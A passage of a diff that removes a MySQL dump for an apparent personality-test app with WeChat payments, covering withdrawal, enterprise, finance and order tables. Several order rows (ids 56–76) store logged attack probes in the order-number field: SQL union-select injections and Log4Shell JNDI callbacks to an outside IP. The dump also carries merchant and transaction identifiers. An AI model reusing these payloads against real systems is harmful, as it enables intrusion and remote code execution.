'0审核中,1已驳回,2待收款,3已收款,4已过期', - `auditNote` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '审核备注', - `auditAt` int(11) NULL DEFAULT NULL COMMENT '审核时间', - `transferAt` int(11) NULL DEFAULT NULL COMMENT '打款时间', - `createdAt` int(11) NULL DEFAULT NULL, - `updatedAt` int(11) NULL DEFAULT NULL, - `pay_type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'wechat' COMMENT '支付方式(wechat=微信支付,offline=线下)', - `out_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商户明细单号(TX+id)', - `transfer_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账单号', - `wechat_pay_state` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账状态(SUCCESS/PROCESSING/FAIL 等)', - `transfer_scene_id` varchar(36) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT '1005' COMMENT '转账场景ID', - `mch_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '付款商户号', - `package_info` text CHARACTER SET utf8 COLLATE utf8_general_ci NULL COMMENT '微信支付package信息(用于调起用户确认收款)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_userId`(`userId`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_out_bill_no`(`out_bill_no`) USING BTREE, - INDEX `idx_transfer_bill_no`(`transfer_bill_no`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销提现记录表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_distribution_withdrawals --- ---------------------------- -INSERT INTO `mbti_distribution_withdrawals` VALUES (1, 1, 100, 0, NULL, 0, NULL, NULL, NULL, 1773288337, 1773288337, 'wechat', NULL, NULL, NULL, '1005', NULL, NULL); -INSERT INTO `mbti_distribution_withdrawals` VALUES (2, 1, 500, 0, NULL, 1, '资料不完整', 1773298296, NULL, 1773295496, 1773298296, 'wechat', NULL, NULL, 'FAIL', '1005', '1318592501', NULL); -INSERT INTO `mbti_distribution_withdrawals` VALUES (3, 1, 1200, 0, NULL, 4, '超时未确认收款', 1773298593, NULL, 1773298579, 1773298593, 'wechat', 'TX202603121600000003', '1330000114850082603120000000000003', 'WAIT_USER_CONFIRM', '1005', '1318592501', NULL); -INSERT INTO `mbti_distribution_withdrawals` VALUES (4, 1, 100, 0, NULL, 2, NULL, 1773303989, NULL, 1773298605, 1773303989, 'wechat', 'TX2026031216262934524', '1330000114850082603120066922420635', 'WAIT_USER_CONFIRM', '1005', '1318592501', NULL); -INSERT INTO `mbti_distribution_withdrawals` VALUES (5, 1, 300, 0, NULL, 3, NULL, 1773304691, 1773304699, 1773304687, 1773304699, 'wechat', 'TX2026031216381141445', '1330000114850082603120092315376583', 'SUCCESS', '1005', '1318592501', NULL); -INSERT INTO `mbti_distribution_withdrawals` VALUES (6, 1, 100, 0, NULL, 2, NULL, 1773304830, NULL, 1773304826, 1773304830, 'wechat', 'TX2026031216403070486', '1330000114850082603120032556470199', 'WAIT_USER_CONFIRM', '1005', '1318592501', 'ABBQO+oYAAABAAAAAADBguuPky1AJvR8/3uyaRAAAADnGpepZahT9IkJjn90+1qgn4+p5lA8HVsWJ6K15wGB4z4GGToX0vW7d4gtrpRhn/W4mUaTV+62hOw+Ts5po3kL/Sa/cGuVBIY0Zqi/L+oS9v+k3pU='); - --- ---------------------------- --- Table structure for mbti_enterprises --- ---------------------------- -DROP TABLE IF EXISTS `mbti_enterprises`; -CREATE TABLE `mbti_enterprises` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '企业ID', - `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '企业名称', - `code` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '企业代码', - `contactName` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系人姓名', - `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', - `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', - `balance` int(11) NULL DEFAULT 0 COMMENT '余额', - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'operating' COMMENT '状态:operating运营中/trial试用/disabled已停用', - `trialExpireAt` int(11) NULL DEFAULT NULL COMMENT '试用到期时间(时间戳,仅当status为trial时有效)', - `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE, - INDEX `idx_code`(`code`) USING BTREE, - INDEX `idx_deletedAt`(`deletedAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_enterprises --- ---------------------------- -INSERT INTO `mbti_enterprises` VALUES (5, '存客宝', '3213213424234234', '存客宝', '18888888888', 'ckb@qq.com', 100000, 'operating', NULL, NULL, 1770878340, 1770879288); -INSERT INTO `mbti_enterprises` VALUES (6, '测试', '', '测试', '', '', 97507, 'operating', NULL, NULL, 1772174277, 1773286899); - --- ---------------------------- --- Table structure for mbti_finance_records --- ---------------------------- -DROP TABLE IF EXISTS `mbti_finance_records`; -CREATE TABLE `mbti_finance_records` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', - `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '类型:recharge/consume/refund', - `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', - `balanceBefore` int(11) NULL DEFAULT 0 COMMENT '操作前余额(分)', - `balanceAfter` int(11) NULL DEFAULT 0 COMMENT '操作后余额(分)', - `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', - `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, - INDEX `idx_type`(`type`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 31 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '财务记录表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_finance_records --- ---------------------------- -INSERT INTO `mbti_finance_records` VALUES (1, 6, 'recharge', 100, 100000, 100100, '企业后台充值', NULL, 1773042479); -INSERT INTO `mbti_finance_records` VALUES (2, 6, 'recharge', 2, 100100, 100102, '企业余额充值', 78, 1773043904); -INSERT INTO `mbti_finance_records` VALUES (3, 6, 'consume', 100, 100102, 100002, '佣金支出:测试完成分销', NULL, 1773043973); -INSERT INTO `mbti_finance_records` VALUES (4, 6, 'consume', 100, 100002, 99902, '佣金支出:用户wong测试DISC完成分销', NULL, 1773044496); -INSERT INTO `mbti_finance_records` VALUES (5, 6, 'consume', 100, 99902, 99802, '佣金支出:用户wong测试MBTI完成分销', NULL, 1773047081); -INSERT INTO `mbti_finance_records` VALUES (6, 6, 'consume', 100, 99802, 99702, '佣金支出:用户wong测试PDP完成分销', NULL, 1773047135); -INSERT INTO `mbti_finance_records` VALUES (7, 6, 'consume', 100, 99702, 99602, '佣金支出:用户wong测试人脸完成分销', NULL, 1773047512); -INSERT INTO `mbti_finance_records` VALUES (8, 6, 'recharge', 5, 99602, 99607, '企业余额充值', 79, 1773048748); -INSERT INTO `mbti_finance_records` VALUES (9, 6, 'consume', 100, 99607, 99507, '佣金支出:用户wong测试人脸完成分销', NULL, 1773109282); -INSERT INTO `mbti_finance_records` VALUES (10, 6, 'consume', 100, 99507, 99407, '佣金支出:用户wong测试人脸完成分销', NULL, 1773109762); -INSERT INTO `mbti_finance_records` VALUES (11, 6, 'consume', 100, 99407, 99307, '佣金支出:用户wong测试DISC完成分销', NULL, 1773131848); -INSERT INTO `mbti_finance_records` VALUES (12, 6, 'consume', 100, 99307, 99207, '佣金支出:用户wong测试DISC完成分销', NULL, 1773132145); -INSERT INTO `mbti_finance_records` VALUES (13, 6, 'consume', 100, 99207, 99107, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773132630); -INSERT INTO `mbti_finance_records` VALUES (14, 6, 'consume', 100, 99107, 99007, '佣金支出:用户wong测试人脸完成分销', NULL, 1773197745); -INSERT INTO `mbti_finance_records` VALUES (15, 6, 'consume', 100, 99007, 98907, '佣金支出:用户wong测试人脸完成分销', NULL, 1773214232); -INSERT INTO `mbti_finance_records` VALUES (16, 6, 'consume', 100, 98907, 98807, '佣金支出:用户wong测试人脸完成分销', NULL, 1773214528); -INSERT INTO `mbti_finance_records` VALUES (18, 6, 'consume', 100, 98807, 98707, '佣金支出:用户wong测试人脸完成分销', NULL, 1773216370); -INSERT INTO `mbti_finance_records` VALUES (19, 6, 'consume', 100, 98707, 98607, '佣金支出:用户wong测试人脸完成分销', NULL, 1773216422); -INSERT INTO `mbti_finance_records` VALUES (20, 6, 'consume', 100, 98607, 98507, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773218291); -INSERT INTO `mbti_finance_records` VALUES (21, 6, 'consume', 100, 98507, 98407, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773219018); -INSERT INTO `mbti_finance_records` VALUES (22, 6, 'consume', 100, 98407, 98307, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773219370); -INSERT INTO `mbti_finance_records` VALUES (23, 6, 'consume', 100, 98307, 98207, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773279222); -INSERT INTO `mbti_finance_records` VALUES (24, 6, 'consume', 100, 98207, 98107, '佣金支出:用户wong测试人脸完成分销', NULL, 1773279937); -INSERT INTO `mbti_finance_records` VALUES (25, 6, 'consume', 100, 98107, 98007, '佣金支出:用户wong测试人脸完成分销', NULL, 1773279975); -INSERT INTO `mbti_finance_records` VALUES (26, 6, 'consume', 100, 98007, 97907, '佣金支出:用户wong测试人脸完成分销', NULL, 1773280023); -INSERT INTO `mbti_finance_records` VALUES (27, 6, 'consume', 100, 97907, 97807, '佣金支出:用户wong测试人脸完成分销', NULL, 1773280177); -INSERT INTO `mbti_finance_records` VALUES (28, 6, 'consume', 100, 97807, 97707, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773280251); -INSERT INTO `mbti_finance_records` VALUES (29, 6, 'consume', 100, 97707, 97607, '佣金支出:用户wong测试人脸完成分销', NULL, 1773285873); -INSERT INTO `mbti_finance_records` VALUES (30, 6, 'consume', 100, 97607, 97507, '佣金支出:用户wong测试人脸完成分销', NULL, 1773286899); - --- ---------------------------- --- Table structure for mbti_orders --- ---------------------------- -DROP TABLE IF EXISTS `mbti_orders`; -CREATE TABLE `mbti_orders` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '订单ID', - `orderNo` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '订单号', - `userId` int(11) NOT NULL COMMENT '用户ID', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', - `productType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '产品类型:face/mbti/disc/pdp/report', - `productTitle` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商品标题(如个人深度洞察测试版、AI人脸完整报告)', - `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'pending' COMMENT '状态:pending/paid/completed/cancelled', - `payMethod` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '支付方式', - `payTime` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', - `wechatTransactionId` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信支付订单号(transaction_id)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `orderNo`(`orderNo`) USING BTREE, - INDEX `idx_userId`(`userId`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE, - INDEX `idx_productType`(`productType`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 84 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '订单表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_orders --- ---------------------------- -INSERT INTO `mbti_orders` VALUES (1, 'PRICING_FACE_1772089133925_w3vbrw21y', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772089134, 1772089134); -INSERT INTO `mbti_orders` VALUES (2, 'PRICING_FACE_1772090075546_356dgx1p5', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090076, 1772090076); -INSERT INTO `mbti_orders` VALUES (3, 'PRICING_FACE_1772090114882_0ls0o4pi7', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090115, 1772090115); -INSERT INTO `mbti_orders` VALUES (4, 'PRICING_FACE_1772090190409_iqmo3j1pe', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090190, 1772090190); -INSERT INTO `mbti_orders` VALUES (5, 'PRICING_FACE_1772090275759_jyi8mv35p', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090276, 1772090276); -INSERT INTO `mbti_orders` VALUES (6, 'FACE20260226152307073', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090588, 1772090588); -INSERT INTO `mbti_orders` VALUES (7, 'FACE20260226152404303', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090644, 1772090644); -INSERT INTO `mbti_orders` VALUES (8, 'FACE20260226152832306', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772090934, NULL, 1772090912, 1772090934); -INSERT INTO `mbti_orders` VALUES (9, 'FACE20260226153553785', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772091353, 1772091353); -INSERT INTO `mbti_orders` VALUES (10, 'FACE20260226153623705', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772091404, NULL, 1772091384, 1772091404); -INSERT INTO `mbti_orders` VALUES (11, 'FACE20260226154812416', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772092110, NULL, 1772092093, 1772092110); -INSERT INTO `mbti_orders` VALUES (12, 'FACE20260226162301604', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772094181, 1772094181); -INSERT INTO `mbti_orders` VALUES (13, 'FACE20260226163358556', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', NULL, NULL, 1772094839, 1772094854); -INSERT INTO `mbti_orders` VALUES (14, 'FACE20260226163926361', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095181, NULL, 1772095167, 1772095185); -INSERT INTO `mbti_orders` VALUES (15, 'FACE20260226164046272', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095665, NULL, 1772095246, 1772095672); -INSERT INTO `mbti_orders` VALUES (16, 'FACE20260226164944760', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772095784, 1772095784); -INSERT INTO `mbti_orders` VALUES (17, 'FACE20260226165244539', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095977, '4200003057202602263224922979', 1772095964, 1772095983); -INSERT INTO `mbti_orders` VALUES (18, 'FACE20260226170030122', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772096444, '4200003092202602260876839499', 1772096431, 1772096449); -INSERT INTO `mbti_orders` VALUES (19, 'FACE20260226170133172', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772096493, 1772096493); -INSERT INTO `mbti_orders` VALUES (20, 'FACE20260226170933731', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772096995, '4200003093202602260617366122', 1772096974, 1772096998); -INSERT INTO `mbti_orders` VALUES (21, 'FACE20260226171256984', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097190, '4200003079202602265982139638', 1772097177, 1772097195); -INSERT INTO `mbti_orders` VALUES (22, 'FACE20260226171740492', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097475, '4200003005202602265395181321', 1772097460, 1772097481); -INSERT INTO `mbti_orders` VALUES (23, 'FACE20260226172256808', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097793, '4200003004202602262256134923', 1772097776, 1772097797); -INSERT INTO `mbti_orders` VALUES (24, 'FACE20260226172840499', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772098134, '4200003065202602264599802773', 1772098120, 1772098138); -INSERT INTO `mbti_orders` VALUES (25, 'MBTI20260227095042214', 1, NULL, 'mbti', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772157043, 1772157043); -INSERT INTO `mbti_orders` VALUES (26, 'MBTI20260227095133161', 1, NULL, 'mbti', NULL, 1, 'paid', 'wechat', 1772157110, '4200003061202602274041761513', 1772157093, 1772157115); -INSERT INTO `mbti_orders` VALUES (27, 'PDP20260227095648617', 1, NULL, 'pdp', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772157409, 1772157409); -INSERT INTO `mbti_orders` VALUES (28, 'PDP20260227095712530', 1, NULL, 'pdp', NULL, 1, 'paid', 'wechat', 1772157446, '4200003053202602271167896255', 1772157433, 1772157451); -INSERT INTO `mbti_orders` VALUES (29, 'DISC20260227095750455', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772157482, '4200003062202602275887289276', 1772157471, 1772157485); -INSERT INTO `mbti_orders` VALUES (30, 'VIP20260227105804939', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772161084, 1772161084); -INSERT INTO `mbti_orders` VALUES (31, 'DISC20260227140349408', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772172257, '4200003058202602279679035020', 1772172229, 1772172260); -INSERT INTO `mbti_orders` VALUES (32, 'DISC20260227141329158', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772172825, '4200003077202602274832092050', 1772172810, 1772172828); -INSERT INTO `mbti_orders` VALUES (33, 'PDP20260227141402259', 1, NULL, 'pdp', NULL, 1, 'paid', 'wechat', 1772172854, '4200003080202602273303069247', 1772172842, 1772172860); -INSERT INTO `mbti_orders` VALUES (34, 'MBTI20260227141433083', 1, NULL, 'mbti', NULL, 1, 'paid', 'wechat', 1772172885, '4200003003202602279020606269', 1772172874, 1772172888); -INSERT INTO `mbti_orders` VALUES (35, 'FACE20260227141457505', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772172909, '4200003065202602279276113364', 1772172897, 1772172912); -INSERT INTO `mbti_orders` VALUES (36, 'FACE20260228140351722', 1, 5, 'face', NULL, 200, 'pending', 'wechat', NULL, NULL, 1772258632, 1772258632); -INSERT INTO `mbti_orders` VALUES (37, 'FACE20260228141854577', 1, 5, 'face', NULL, 200, 'pending', 'wechat', NULL, NULL, 1772259535, 1772259535); -INSERT INTO `mbti_orders` VALUES (38, 'FACE20260228152851705', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772263738, '4200003080202602288946868189', 1772263731, 1772263740); -INSERT INTO `mbti_orders` VALUES (39, 'VIP20260228175015395', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772272217, 1772272217); -INSERT INTO `mbti_orders` VALUES (40, 'FACE20260228180843875', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772273330, '4200003006202602289813276712', 1772273324, 1772273332); -INSERT INTO `mbti_orders` VALUES (41, 'VIP20260228182241062', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772274162, 1772274162); -INSERT INTO `mbti_orders` VALUES (42, 'DPER20260302162035667', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439635, 1772439635); -INSERT INTO `mbti_orders` VALUES (43, 'DPER20260302162106725', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439666, 1772439666); -INSERT INTO `mbti_orders` VALUES (44, 'DPER20260302162210643', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439730, 1772439730); -INSERT INTO `mbti_orders` VALUES (45, 'DPER20260302162457651', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772439897, 1772439897); -INSERT INTO `mbti_orders` VALUES (46, 'DPER20260302162616910', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772439976, 1772439976); -INSERT INTO `mbti_orders` VALUES (47, 'DPER20260302163510075', 1, NULL, 'deep_personal', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772440510, 1772440510); -INSERT INTO `mbti_orders` VALUES (48, 'DPER20260302163948487', 1, NULL, 'deep_personal', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772440789, 1772440789); -INSERT INTO `mbti_orders` VALUES (49, 'DPER20260302164000818', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772440800, 1772440800); -INSERT INTO `mbti_orders` VALUES (50, 'DPER20260302164034604', 1, NULL, 'deep_personal', NULL, 1, 'paid', 'wechat', 1772440841, '4200003080202603024809173091', 1772440834, 1772440846); -INSERT INTO `mbti_orders` VALUES (51, 'DPER20260302164828836', 1, NULL, 'deep_personal', '个人深度洞察测试版', 1, 'paid', 'wechat', 1772441323, '4200003071202603028924341619', 1772441308, 1772441326); -INSERT INTO `mbti_orders` VALUES (52, 'FACE20260303144952267', 1, 5, 'face', 'AI人脸性格分析完整报告', 200, 'pending', 'wechat', NULL, NULL, 1772520593, 1772520593); -INSERT INTO `mbti_orders` VALUES (53, 'FACE20260303145028544', 1, 6, 'face', 'AI人脸性格分析完整报告', 2, 'pending', 'wechat', NULL, NULL, 1772520628, 1772520628); -INSERT INTO `mbti_orders` VALUES (54, 'FACE20260303153333300', 1, 6, 'face', 'AI人脸性格分析完整报告', 2, 'pending', 'wechat', NULL, NULL, 1772523215, 1772523215); -INSERT INTO `mbti_orders` VALUES (55, 'DPER20260304110938288', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593778, 1772594061); -INSERT INTO `mbti_orders` VALUES (56, 'DPER20260304110938288\' union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593911, 1772593911); -INSERT INTO `mbti_orders` VALUES (57, 'DPER20260304110938288\' union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593912, 1772593912); -INSERT INTO `mbti_orders` VALUES (58, 'DPER20260304110938288\' union select md5(3141592657', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593913, 1772593913); -INSERT INTO `mbti_orders` VALUES (59, 'DPER20260304110938288\' union select 1,md5(31415926', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593913, 1772593913); -INSERT INTO `mbti_orders` VALUES (60, '\" union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593935, 1772593935); -INSERT INTO `mbti_orders` VALUES (61, '\" union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593936, 1772593936); -INSERT INTO `mbti_orders` VALUES (62, '\" union select md5(3141592657),2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593936, 1772593936); -INSERT INTO `mbti_orders` VALUES (63, '\" union select 1,md5(3141592657)-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593937, 1772593937); -INSERT INTO `mbti_orders` VALUES (64, 'DPER20260304110938288\" union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593938, 1772593938); -INSERT INTO `mbti_orders` VALUES (65, 'DPER20260304110938288\" union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593941, 1772593941); -INSERT INTO `mbti_orders` VALUES (66, 'DPER20260304110938288\" union select md5(3141592657', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593944, 1772593944); -INSERT INTO `mbti_orders` VALUES (67, 'DPER20260304110938288\" union select 1,md5(31415926', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593945, 1772593945); -INSERT INTO `mbti_orders` VALUES (68, '\' union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593993, 1772593993); -INSERT INTO `mbti_orders` VALUES (69, '\' union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593994, 1772593994); -INSERT INTO `mbti_orders` VALUES (70, '\' union select md5(3141592657),2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593994, 1772593994); -INSERT INTO `mbti_orders` VALUES (71, '\' union select 1,md5(3141592657)-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593995, 1772593995); -INSERT INTO `mbti_orders` VALUES (72, '${jndi:ldap://183.47.120.213:1389/jdk18dd6cff356b8', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594035, 1772594035); -INSERT INTO `mbti_orders` VALUES (73, '${jndi:ldap://hostname-${hostName}.username-${sys:', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594037, 1772594037); -INSERT INTO `mbti_orders` VALUES (74, '${jndi:rmi://hostname-${hostName}.username-${sys:u', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594039, 1772594039); -INSERT INTO `mbti_orders` VALUES (75, 'aaaa\'%bf%27', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594047, 1772594047); -INSERT INTO `mbti_orders` VALUES (76, '${jndi:rmi://183.47.120.213:1099/bypassdbb5556f68f', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594048, 1772594048); -INSERT INTO `mbti_orders` VALUES (77, 'FACE20260306155303513', 1, 5, 'face', 'AI人脸性格分析完整报告', 101, 'pending', 'wechat', NULL, NULL, 1772783583, 1772783583); -INSERT INTO `mbti_orders` VALUES (78, 'RCG20260309161126129', 1, 6, 'recharge', '账户充值 ¥0.02', 2, 'paid', 'wechat', 1773043902, '4200003069202603099508909989', 1773043886, 1773043904); -INSERT INTO `mbti_orders` VALUES (79, 'RCG20260309173206082', 1, 6, 'recharge', '账户充值 ¥0.05', 5, 'paid', 'wechat', 1773048743, '4200003094202603093110277383', 1773048727, 1773048748); -INSERT INTO `mbti_orders` VALUES (80, 'DPER20260311145816460', 1, NULL, 'deep_personal', '测试001', 1, 'paid', 'wechat', 1773212308, '4200003094202603119078710446', 1773212296, 1773212314); -INSERT INTO `mbti_orders` VALUES (81, 'DPER20260311150058412', 1, NULL, 'deep_personal', '测试001', 1, 'pending', 'wechat', NULL, NULL, 1773212464, 1773212464); -INSERT INTO `mbti_orders` VALUES (82, 'DPER20260311150121076', 1, NULL, 'deep_personal', '测试001', 1, 'paid', 'wechat', 1773212493, '4200003001202603114491728544', 1773212482, 1773212497); -INSERT INTO `mbti_orders` VALUES (83, 'DPER20260312114701237', 2, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1773287221, 1773287221); - --- ---------------------------- --- Table structure for mbti_pricing_config --- ---------------------------- -DROP TABLE IF EXISTS `mbti_pricing_config`; 